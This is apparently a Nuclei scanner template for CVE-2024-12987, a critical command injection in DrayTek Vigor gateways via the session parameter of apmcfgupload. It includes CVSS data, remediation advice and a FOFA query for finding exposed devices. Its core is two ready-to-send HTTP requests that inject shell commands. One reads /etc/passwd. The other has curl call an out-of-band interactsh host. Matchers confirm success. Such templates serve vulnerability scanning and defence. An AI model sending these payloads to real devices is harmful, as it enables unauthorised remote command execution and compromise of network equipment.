漏洞描述
DrayTek Gateway devices (Vigor2960, Vigor300B, etc.) are vulnerable to command injection via the session parameter in the /cgi-bin/mainfunction.cgi/apmcfgupload endpoint. An attacker can inject arbitrary commands and retrieve their output.
id: CVE-2024-12987
info:
name: DrayTek Vigor - Command Injection
author: ritikchaddha
severity: critical
description: |
DrayTek Gateway devices (Vigor2960, Vigor300B, etc.) are vulnerable to command injection via the session parameter in the /cgi-bin/mainfunction.cgi/apmcfgupload endpoint. An attacker can inject arbitrary commands and retrieve their output.
remediation: |
Update the firmware to the latest version provided by DrayTek. If no update is available, consider implementing network segmentation to restrict access to the device's management interface.
reference:
- https://netsecfish.notion.site/
- https://nvd.nist.gov/vuln/detail/CVE-2024-12987
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-12987
cwe-id: CWE-78
epss-score: 0.84299
epss-percentile: 0.99273
cpe: cpe:2.3:h:draytek:vigor300b:-:*:*:*:*:*:*:*
metadata:
max-request: 2
fofa-query: '"excanvas.js" && "lang == \"zh-cn\"" && "detectLang" && server=="DWS"'
vendor: DrayTek
product: Vigor300B
tags: cve,cve2024,draytek,rce,router,kev,vkev
http:
- raw:
- |+
GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccat${IFS}/etc/passwd HTTP/1.0
Host: {{Hostname}}
- |+
GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccurl${IFS}{{interactsh-url}} HTTP/1.0
Host: {{Hostname}}
stop-at-first-match: true
unsafe: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- regex('root:.*:0:0:', body)
- contains(header, 'DWS')
- status_code == 200
condition: and
- type: dsl
dsl:
- contains(interactsh_protocol, 'dns')
- contains(header, 'DWS')
- status_code == 200
condition: and
# digest: 4b0a00483046022100dbba6fbe639534104cfee2b9115656aa07d1f1251b2dae77e024e9760081b3de022100b09c81bc55afe8f0788eed062aaaa0b3fcd2489f10e00b81060246f9f693fde3:922c64590222798bb761d5b6d8e72950